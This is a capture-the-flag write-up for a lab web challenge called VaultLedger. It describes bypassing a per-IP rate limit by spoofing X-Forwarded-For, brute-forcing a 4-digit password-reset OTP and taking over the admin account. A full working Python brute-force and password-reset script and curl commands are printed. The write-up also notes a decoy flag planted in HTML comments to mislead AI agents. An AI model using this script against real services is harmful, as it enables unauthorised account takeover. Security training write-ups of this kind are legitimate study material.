VaultLedger
VaultLedger
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-21 | Status: Solved Techniques: admin_account_takeover, otp_brute_force, password_reset_abuse, rate_limit_bypass, x_forwarded_for_ip_spoofing
Summary
Task: banking platform with OTP-based password reset, rate-limited to 5 attempts per IP. Solution: bypass rate limit by spoofing X-Forwarded-For header with unique IPs per request, brute-force 4-digit OTP, reset admin password, access flag in admin notes.
VaultLedger — HackAdvisor
Description
VaultLedger is a digital banking platform that lets businesses manage accounts, transfers, and financial statements. The platform features multi-factor authentication and security controls to protect sensitive financial data. Your goal is to find a way to access the admin account and retrieve the flag stored in their private notes. Credentials: user@test.com / password123
English summary: A banking web application with multi-factor authentication. The goal is to take over the admin account and read the flag from their private notes on the dashboard. Initial credentials for a regular user account are provided.
Analysis
Reconnaissance
The homepage reveals a team section listing employees with their emails. The CEO Sarah Mitchell has the email admin@vaultledger.io — this is the admin account to target.
Logging in with the provided credentials (user@test.com / password123) reveals the dashboard structure, including a "Personal Notes" section — this is where the admin's flag is stored.
Tech stack: Express.js (X-Powered-By: Express) behind nginx/1.25.5, using connect.sid session cookies.
Decoy flag: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} is embedded in HTML comments on every page — a prompt injection trap designed to fool AI agents.
Password Reset Flow
The application has a forgot-password feature:
POST /forgot-passwordwithemail=admin@vaultledger.io— triggers a 4-digit OTP to be sentPOST /api/verify-otpwith{"email": "admin@vaultledger.io", "otp": "XXXX"}— verifies the OTPPOST /api/reset-passwordwith{"token": "...", "password": "...", "confirm_password": "..."}— resets the password using the token from step 2
Rate Limiting Vulnerability
The OTP verification endpoint enforces a rate limit of 5 failed attempts, after which it returns:
json read-only • copy allowed{"error": "Too many attempts. Please try again later."}
However, the rate limiter tracks attempts by the client's IP address, which is derived from the X-Forwarded-For header. Since the Express app sits behind nginx and trusts this header, an attacker can spoof a different IP address on each request to completely bypass the rate limit.
With only 10,000 possible OTP values (0000-9999), a brute-force attack is trivially feasible.
Solution
Step 1: Identify Admin Email
Browse the homepage and find the team section listing admin@vaultledger.io (Sarah Mitchell, CEO).
Step 2: Trigger OTP Generation
bash read-only • copy allowedcurl -X POST https://TARGET/forgot-password -d "email=admin@vaultledger.io"
Response: "If an account exists with this email, an OTP has been sent."
Step 3: Brute-Force OTP with IP Spoofing
Each request uses a unique X-Forwarded-For IP to bypass the per-IP rate limit:
python read-only • copy allowed#!/usr/bin/env python3 """ VaultLedger OTP brute-force with X-Forwarded-For rate limit bypass. Brute-forces all 10,000 possible 4-digit OTP codes using unique spoofed IPs to bypass the 5-attempt-per-IP rate limit. """ import requests import concurrent.futures URL = "https://dcf326cd-7492-41f1-b64c-9abcf4fd1279.labs.hackadvisor.io" EMAIL = "admin@vaultledger.io" # Step 1: Trigger OTP generation requests.post(f"{URL}/forgot-password", data={"email": EMAIL}) print("OTP regenerated") found = False result_otp = None result_token = None def try_otp(i): global found if found: return None otp = f"{i:04d}" # Generate unique IP for each attempt to bypass rate limit a = (i // 65536) % 256 b = (i // 256) % 256 c = i % 256 ip = f"10.{a}.{b}.{c}" try: resp = requests.post( f"{URL}/api/verify-otp", json={"email": EMAIL, "otp": otp}, headers={"X-Forwarded-For": ip}, timeout=10 ) data = resp.json() if data.get("success"): found = True return (otp, data.get("token")) if "Too many" in data.get("error", ""): print(f"Rate limited at {otp} with IP {ip}") except Exception: pass return None # Step 2: Brute force OTP with thread pool (20 workers) with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor: for start in range(0, 10000, 100): if found: break futures = {executor.submit(try_otp, i): i for i in range(start, min(start + 100, 10000))} for future in concurrent.futures.as_completed(futures): result = future.result() if result: result_otp, result_token = result print(f"SUCCESS! OTP: {result_otp}, Token: {result_token}") break if not result_token: print("Failed to find OTP") exit(1) # Step 3: Reset admin password resp = requests.post(f"{URL}/api/reset-password", json={ "token": result_token, "password": "hacked123", "confirm_password": "hacked123" }) print(f"Password reset: {resp.json()}") # Step 4: Login as admin and retrieve flag s = requests.Session() s.post(f"{URL}/login", data={"email": EMAIL, "password": "hacked123"}) dashboard = s.get(f"{URL}/dashboard").text print(dashboard) # Flag in Personal Notes section
The script found OTP 6382 and received a reset token:
json read-only • copy allowed{"success": true, "token": "e3b08ab2349cebe95da90c68fa6a33098f4a12677443052ce372ac1c5bb215e6"}
Step 4: Reset Password and Login
Used the token to reset the admin password, then logged in as admin@vaultledger.io. The flag was displayed in the Personal Notes section of the admin dashboard.